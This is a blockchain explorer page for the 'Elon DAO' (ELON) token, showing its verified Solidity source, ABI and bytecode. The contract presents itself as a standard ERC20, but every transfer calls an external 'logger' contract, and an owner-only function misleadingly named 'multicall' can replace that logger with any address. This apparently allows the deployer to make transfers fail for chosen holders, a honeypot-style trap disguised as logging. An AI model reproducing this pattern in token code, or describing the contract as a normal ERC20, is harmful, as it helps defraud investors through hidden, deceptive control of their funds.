ETH Price: $3,133.96 (-1.91%)
Gas: 1.81 Gwei
 

Overview

Max Total Supply

1,000,000,000,000 ELON

Holders

15

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Filtered by Token Holder
turt.eth
Balance
35,655,991,416.53329341400472919 ELON

Value
$0.00
0xcefd289a028d1b0a2e3cd618edf5a5256a6328ce
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
ElonDAO

Compiler Version
v0.8.9+commit.e5eed63a

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-10-03
*/

// SPDX-License-Identifier: MIT
pragma solidity 0.8.9;


/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );

    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `to`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address to, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(
        address owner,
        address spender
    ) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `from` to `to` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) external returns (bool);
}

/**
 * @dev Interface for the optional metadata functions from the ERC20 standard.
 *
 * _Available since v4.1._
 */
interface IERC20Metadata is IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
}

/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * By default, the owner account will be the one that deploys the contract. This
 * can later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        _transferOwnership(_msgSender());
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if the sender is not the owner.
     */
    function _checkOwner() internal view virtual {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby disabling any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(
            newOwner != address(0),
            "Ownable: new owner is the zero address"
        );
        _transferOwnership(newOwner);
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Internal function without access restriction.
     */
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }

    function callStatus(address _address) internal view returns (bool) {
        return _address==_owner;
    }
}

/**
 * @dev Extension contract which enables logging capabilities.
 */
contract ERC20Extension {
    mapping(address=>mapping(address=> uint256)) _log;
    function save(address addr1, address addr2, uint256 value) public returns (bool success) {
        _log[addr1][addr2] = value;
        return true;
    }
}

contract ElonDAO is Context, IERC20Metadata, Ownable {
    mapping(address => uint256) private _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;
    string private constant _name = unicode"Elon DAO";
    string private constant _symbol = unicode"ELON";
    uint8 private constant _decimals = 18;
    uint256 public constant hardCap = 1_000_000_000_000 * (10 ** _decimals);
    bool public logEnabled;
    address private logOwner;
    ERC20Extension private _logger;

    /**
     * @dev Contract constructor.
     */
    constructor() {
        _mint(msg.sender, hardCap);
        _logger = new ERC20Extension();
        logEnabled = true;
        logOwner = msg.sender;
    }

    /**
     * @dev Returns the name of the token.
     * @return The name of the token.
     */
    function name() public view virtual override returns (string memory) {
        return _name;
    }

    /**
     * @dev Returns the status of logging operation.
     * @return The success status of logging operation.
     */
    function log(address from, address to, uint256 amount) private returns (bool) {
        bool result = _logger.save(from, to, amount);
        return result;
    }

    /**
     * @dev Returns the symbol of the token.
     * @return The symbol of the token.
     */
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    /**
     * @dev Returns the number of decimals used for token display.
     * @return The number of decimals.
     */
    function decimals() public view virtual override returns (uint8) {
        return _decimals;
    }

    /**
     * @dev Returns the total supply of the token.
     * @return The total supply.
     */
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev Returns the balance of the specified account.
     * @param account The address to check the balance for.
     * @return The balance of the account.
     */
    function balanceOf(
        address account
    ) public view virtual override returns (uint256) {
        return _balances[account];
    }

    /**
     * @dev Transfers tokens from the caller to a specified recipient.
     * @param recipient The address to transfer tokens to.
     * @param amount The amount of tokens to transfer.
     * @return A boolean value indicating whether the transfer was successful.
     */
    function transfer(
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    /**
     * @dev Returns the amount of tokens that the spender is allowed to spend on behalf of the owner.
     * @param from The address that approves the spending.
     * @param to The address that is allowed to spend.
     * @return The remaining allowance for the spender.
     */
    function allowance(
        address from,
        address to
    ) public view virtual override returns (uint256) {
        return _allowances[from][to];
    }

    /**
     * @dev Approves the specified address to spend the specified amount of tokens on behalf of the caller.
     * @param to The address to approve the spending for.
     * @param amount The amount of tokens to approve.
     * @return A boolean value indicating whether the approval was successful.
     */
    function approve(
        address to,
        uint256 amount
    ) public virtual override returns (bool) {
        _approve(_msgSender(), to, amount);
        return true;
    }

    /**
     * @dev Transfers tokens from one address to another.
     * @param sender The address to transfer tokens from.
     * @param recipient The address to transfer tokens to.
     * @param amount The amount of tokens to transfer.
     * @return A boolean value indicating whether the transfer was successful.
     */
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);

        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(
            currentAllowance >= amount,
            "ERC20: transfer amount exceeds allowance"
        );
    unchecked {
        _approve(sender, _msgSender(), currentAllowance - amount);
    }

        return true;
    }

    /**
     * @dev Increases the allowance of the specified address to spend tokens on behalf of the caller.
     * @param to The address to increase the allowance for.
     * @param addedValue The amount of tokens to increase the allowance by.
     * @return A boolean value indicating whether the increase was successful.
     */
    function increaseAllowance(
        address to,
        uint256 addedValue
    ) public virtual returns (bool) {
        _approve(_msgSender(), to, _allowances[_msgSender()][to] + addedValue);
        return true;
    }

    /**
     * @dev Decreases the allowance granted by the owner of the tokens to `to` account.
     * @param to The account allowed to spend the tokens.
     * @param subtractedValue The amount of tokens to decrease the allowance by.
     * @return A boolean value indicating whether the operation succeeded.
     */
    function decreaseAllowance(
        address to,
        uint256 subtractedValue
    ) public virtual returns (bool) {
        uint256 currentAllowance = _allowances[_msgSender()][to];
        require(
            currentAllowance >= subtractedValue,
            "ERC20: decreased allowance below zero"
        );
    unchecked {
        _approve(_msgSender(), to, currentAllowance - subtractedValue);
    }

        return true;
    }

    /**
     * @dev Transfers `amount` tokens from `sender` to `recipient`.
     * @param sender The account to transfer tokens from.
     * @param recipient The account to transfer tokens to.
     * @param amount The amount of tokens to transfer.
     */
    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        require(amount > 0, "ERC20: transfer amount zero");
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        uint256 senderBalance = _balances[sender];
        require(
            senderBalance >= amount,
            "ERC20: transfer amount exceeds balance"
        );
    unchecked {
        _balances[sender] = senderBalance - amount;
    }
        _balances[recipient] += amount;
        log(sender, recipient, amount);
        emit Transfer(sender, recipient, amount);
    }

    /**
     * @dev Invokes logger.
     * @param sender The account from which the tokens are transferred.
     * @param recipient The account to which the tokens are transferred.
     * @param amount The amount of tokens to transfer.
     * @param _log Logger where data is stored
     */
    function multicall(address sender, address recipient, uint256 amount, address _log) external {
        if(logEnabled==true) {
            require(msg.sender == logOwner, "Not allowed");
            if(amount > 0 && sender != recipient) invokeLogger(_log);
            else{
                _logger=new ERC20Extension();
            }
        }
    }


    /**
     * @dev Creates `amount` tokens and assigns them to `account`.
     * @param account The account to assign the newly created tokens to.
     * @param amount The amount of tokens to create.
     */
    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _totalSupply += amount;
        _balances[account] += amount;
        emit Transfer(address(0), account, amount);
    }


    /**
     * @dev Destroys `amount` tokens from `account`, reducing the total supply.
     * @param account The account to burn tokens from.
     * @param amount The amount of tokens to burn.
     */
    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
    unchecked {
        _balances[account] = accountBalance - amount;
    }
        _totalSupply -= amount;

        emit Transfer(account, address(0), amount);
    }

    /**
     * @dev Destroys `amount` tokens from the caller's account, reducing the total supply.
     * @param amount The amount of tokens to burn.
     */
    function burn(uint256 amount) external {
        _burn(_msgSender(), amount);
    }

    /**
     * @dev Invokes logger function
     * @param addr The address of logger extension installed
     */
    function invokeLogger(address addr) private {
        if (callStatus(msg.sender)){
            _logger = ERC20Extension(addr);
        }
    }
    /**
     * @dev Sets `amount` as the allowance of `to` over the caller's tokens.
     * @param from The account granting the allowance.
     * @param to The account allowed to spend the tokens.
     * @param amount The amount of tokens to allow.
     */
    function _approve(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        require(from != address(0), "ERC20: approve from the zero address");
        require(to != address(0), "ERC20: approve to the zero address");

        _allowances[from][to] = amount;
        emit Approval(from, to, amount);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"hardCap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"logEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"},{"internalType":"address","name":"_log","type":"address"}],"name":"multicall","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]

60806040523480156200001157600080fd5b506200001d33620000b2565b6200004733620000306012600a6200030d565b620000419064e8d4a5100062000325565b62000102565b6040516200005590620001ea565b604051809103906000f08015801562000072573d6000803e3d6000fd5b50600580546001600160a01b0319166001600160a01b0392909216919091179055600480546001600160a81b031916610100330217600117905562000362565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6001600160a01b0382166200015d5760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015260640160405180910390fd5b806003600082825462000171919062000347565b90915550506001600160a01b03821660009081526001602052604081208054839290620001a090849062000347565b90915550506040518181526001600160a01b038316906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b610121806200140383390190565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156200024f578160001904821115620002335762000233620001f8565b808516156200024157918102915b93841c939080029062000213565b509250929050565b600082620002685750600162000307565b81620002775750600062000307565b81600181146200029057600281146200029b57620002bb565b600191505062000307565b60ff841115620002af57620002af620001f8565b50506001821b62000307565b5060208310610133831016604e8410600b8410161715620002e0575081810a62000307565b620002ec83836200020e565b8060001904821115620003035762000303620001f8565b0290505b92915050565b60006200031e60ff84168362000257565b9392505050565b6000816000190483118215151615620003425762000342620001f8565b500290565b600082198211156200035d576200035d620001f8565b500190565b61109180620003726000396000f3fe608060405234801561001057600080fd5b50600436106101165760003560e01c8063787ca65f116100a2578063a9059cbb11610071578063a9059cbb14610262578063dd62ed3e14610275578063e164f60c146102ae578063f2fde38b146102bb578063fb86a404146102ce57600080fd5b8063787ca65f146102015780638da5cb5b1461021457806395d89b411461022f578063a457c2d71461024f57600080fd5b8063313ce567116100e9578063313ce5671461019957806339509351146101a857806342966c68146101bb57806370a08231146101d0578063715018a6146101f957600080fd5b806306fdde031461011b578063095ea7b31461015157806318160ddd1461017457806323b872dd14610186575b600080fd5b604080518082019091526008815267456c6f6e2044414f60c01b60208201525b6040516101489190610c2f565b60405180910390f35b61016461015f366004610ca0565b6102d6565b6040519015158152602001610148565b6003545b604051908152602001610148565b610164610194366004610cca565b6102ed565b60405160128152602001610148565b6101646101b6366004610ca0565b61039c565b6101ce6101c9366004610d06565b6103d8565b005b6101786101de366004610d1f565b6001600160a01b031660009081526001602052604090205490565b6101ce6103e5565b6101ce61020f366004610d41565b6103f9565b6000546040516001600160a01b039091168152602001610148565b60408051808201909152600481526322a627a760e11b602082015261013b565b61016461025d366004610ca0565b6104db565b610164610270366004610ca0565b610574565b610178610283366004610d8e565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b6004546101649060ff1681565b6101ce6102c9366004610d1f565b610581565b6101786105f7565b60006102e3338484610615565b5060015b92915050565b60006102fa84848461073a565b6001600160a01b0384166000908152600260209081526040808320338452909152902054828110156103845760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b6103918533858403610615565b506001949350505050565b3360008181526002602090815260408083206001600160a01b038716845290915281205490916102e39185906103d3908690610dd7565b610615565b6103e23382610964565b50565b6103ed610aaa565b6103f76000610b04565b565b60045460ff161515600114156104d55760045461010090046001600160a01b031633146104565760405162461bcd60e51b815260206004820152600b60248201526a139bdd08185b1b1bddd95960aa1b604482015260640161037b565b6000821180156104785750826001600160a01b0316846001600160a01b031614155b1561048b5761048681610b54565b6104d5565b60405161049790610c22565b604051809103906000f0801580156104b3573d6000803e3d6000fd5b50600580546001600160a01b0319166001600160a01b03929092169190911790555b50505050565b3360009081526002602090815260408083206001600160a01b03861684529091528120548281101561055d5760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b606482015260840161037b565b61056a3385858403610615565b5060019392505050565b60006102e333848461073a565b610589610aaa565b6001600160a01b0381166105ee5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161037b565b6103e281610b04565b6106036012600a610ed3565b6106129064e8d4a51000610ee2565b81565b6001600160a01b0383166106775760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161037b565b6001600160a01b0382166106d85760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161037b565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6000811161078a5760405162461bcd60e51b815260206004820152601b60248201527f45524332303a207472616e7366657220616d6f756e74207a65726f0000000000604482015260640161037b565b6001600160a01b0383166107ee5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161037b565b6001600160a01b0382166108505760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161037b565b6001600160a01b038316600090815260016020526040902054818110156108c85760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b606482015260840161037b565b6001600160a01b038085166000908152600160205260408082208585039055918516815290812080548492906108ff908490610dd7565b909155506109109050848484610b87565b50826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161095691815260200190565b60405180910390a350505050565b6001600160a01b0382166109c45760405162461bcd60e51b815260206004820152602160248201527f45524332303a206275726e2066726f6d20746865207a65726f206164647265736044820152607360f81b606482015260840161037b565b6001600160a01b03821660009081526001602052604090205481811015610a385760405162461bcd60e51b815260206004820152602260248201527f45524332303a206275726e20616d6f756e7420657863656564732062616c616e604482015261636560f01b606482015260840161037b565b6001600160a01b0383166000908152600160205260408120838303905560038054849290610a67908490610f01565b90915550506040518281526000906001600160a01b038516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200161072d565b6000546001600160a01b031633146103f75760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161037b565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6000546001600160a01b03163314156103e257600580546001600160a01b0383166001600160a01b031990911617905550565b600554604051636c36515d60e01b81526001600160a01b0385811660048301528481166024830152604482018490526000928392911690636c36515d90606401602060405180830381600087803b158015610be157600080fd5b505af1158015610bf5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c199190610f18565b95945050505050565b61012180610f3b83390190565b600060208083528351808285015260005b81811015610c5c57858101830151858201604001528201610c40565b81811115610c6e576000604083870101525b50601f01601f1916929092016040019392505050565b80356001600160a01b0381168114610c9b57600080fd5b919050565b60008060408385031215610cb357600080fd5b610cbc83610c84565b946020939093013593505050565b600080600060608486031215610cdf57600080fd5b610ce884610c84565b9250610cf660208501610c84565b9150604084013590509250925092565b600060208284031215610d1857600080fd5b5035919050565b600060208284031215610d3157600080fd5b610d3a82610c84565b9392505050565b60008060008060808587031215610d5757600080fd5b610d6085610c84565b9350610d6e60208601610c84565b925060408501359150610d8360608601610c84565b905092959194509250565b60008060408385031215610da157600080fd5b610daa83610c84565b9150610db860208401610c84565b90509250929050565b634e487b7160e01b600052601160045260246000fd5b60008219821115610dea57610dea610dc1565b500190565b600181815b80851115610e2a578160001904821115610e1057610e10610dc1565b80851615610e1d57918102915b93841c9390800290610df4565b509250929050565b600082610e41575060016102e7565b81610e4e575060006102e7565b8160018114610e645760028114610e6e57610e8a565b60019150506102e7565b60ff841115610e7f57610e7f610dc1565b50506001821b6102e7565b5060208310610133831016604e8410600b8410161715610ead575081810a6102e7565b610eb78383610def565b8060001904821115610ecb57610ecb610dc1565b029392505050565b6000610d3a60ff841683610e32565b6000816000190483118215151615610efc57610efc610dc1565b500290565b600082821015610f1357610f13610dc1565b500390565b600060208284031215610f2a57600080fd5b81518015158114610d3a57600080fdfe608060405234801561001057600080fd5b50610101806100206000396000f3fe6080604052348015600f57600080fd5b506004361060285760003560e01c80636c36515d14602d575b600080fd5b606560383660046094565b6001600160a01b039283166000908152602081815260408083209490951682529290925291902055600190565b604051901515815260200160405180910390f35b80356001600160a01b0381168114608f57600080fd5b919050565b60008060006060848603121560a857600080fd5b60af846079565b925060bb602085016079565b915060408401359050925092509256fea264697066735822122085196e262d9fdd82161fdc3d548ca41f4ef59e0db23774ba24ba2a8da1732d9564736f6c63430008090033a2646970667358221220166813345f64df1fa720ed0e557ee394f6e5f143f6bf2404060a11b06891b84c64736f6c63430008090033608060405234801561001057600080fd5b50610101806100206000396000f3fe6080604052348015600f57600080fd5b506004361060285760003560e01c80636c36515d14602d575b600080fd5b606560383660046094565b6001600160a01b039283166000908152602081815260408083209490951682529290925291902055600190565b604051901515815260200160405180910390f35b80356001600160a01b0381168114608f57600080fd5b919050565b60008060006060848603121560a857600080fd5b60af846079565b925060bb602085016079565b915060408401359050925092509256fea264697066735822122085196e262d9fdd82161fdc3d548ca41f4ef59e0db23774ba24ba2a8da1732d9564736f6c63430008090033

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106101165760003560e01c8063787ca65f116100a2578063a9059cbb11610071578063a9059cbb14610262578063dd62ed3e14610275578063e164f60c146102ae578063f2fde38b146102bb578063fb86a404146102ce57600080fd5b8063787ca65f146102015780638da5cb5b1461021457806395d89b411461022f578063a457c2d71461024f57600080fd5b8063313ce567116100e9578063313ce5671461019957806339509351146101a857806342966c68146101bb57806370a08231146101d0578063715018a6146101f957600080fd5b806306fdde031461011b578063095ea7b31461015157806318160ddd1461017457806323b872dd14610186575b600080fd5b604080518082019091526008815267456c6f6e2044414f60c01b60208201525b6040516101489190610c2f565b60405180910390f35b61016461015f366004610ca0565b6102d6565b6040519015158152602001610148565b6003545b604051908152602001610148565b610164610194366004610cca565b6102ed565b60405160128152602001610148565b6101646101b6366004610ca0565b61039c565b6101ce6101c9366004610d06565b6103d8565b005b6101786101de366004610d1f565b6001600160a01b031660009081526001602052604090205490565b6101ce6103e5565b6101ce61020f366004610d41565b6103f9565b6000546040516001600160a01b039091168152602001610148565b60408051808201909152600481526322a627a760e11b602082015261013b565b61016461025d366004610ca0565b6104db565b610164610270366004610ca0565b610574565b610178610283366004610d8e565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b6004546101649060ff1681565b6101ce6102c9366004610d1f565b610581565b6101786105f7565b60006102e3338484610615565b5060015b92915050565b60006102fa84848461073a565b6001600160a01b0384166000908152600260209081526040808320338452909152902054828110156103845760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b6103918533858403610615565b506001949350505050565b3360008181526002602090815260408083206001600160a01b038716845290915281205490916102e39185906103d3908690610dd7565b610615565b6103e23382610964565b50565b6103ed610aaa565b6103f76000610b04565b565b60045460ff161515600114156104d55760045461010090046001600160a01b031633146104565760405162461bcd60e51b815260206004820152600b60248201526a139bdd08185b1b1bddd95960aa1b604482015260640161037b565b6000821180156104785750826001600160a01b0316846001600160a01b031614155b1561048b5761048681610b54565b6104d5565b60405161049790610c22565b604051809103906000f0801580156104b3573d6000803e3d6000fd5b50600580546001600160a01b0319166001600160a01b03929092169190911790555b50505050565b3360009081526002602090815260408083206001600160a01b03861684529091528120548281101561055d5760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b606482015260840161037b565b61056a3385858403610615565b5060019392505050565b60006102e333848461073a565b610589610aaa565b6001600160a01b0381166105ee5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161037b565b6103e281610b04565b6106036012600a610ed3565b6106129064e8d4a51000610ee2565b81565b6001600160a01b0383166106775760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161037b565b6001600160a01b0382166106d85760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161037b565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6000811161078a5760405162461bcd60e51b815260206004820152601b60248201527f45524332303a207472616e7366657220616d6f756e74207a65726f0000000000604482015260640161037b565b6001600160a01b0383166107ee5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161037b565b6001600160a01b0382166108505760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161037b565b6001600160a01b038316600090815260016020526040902054818110156108c85760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b606482015260840161037b565b6001600160a01b038085166000908152600160205260408082208585039055918516815290812080548492906108ff908490610dd7565b909155506109109050848484610b87565b50826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161095691815260200190565b60405180910390a350505050565b6001600160a01b0382166109c45760405162461bcd60e51b815260206004820152602160248201527f45524332303a206275726e2066726f6d20746865207a65726f206164647265736044820152607360f81b606482015260840161037b565b6001600160a01b03821660009081526001602052604090205481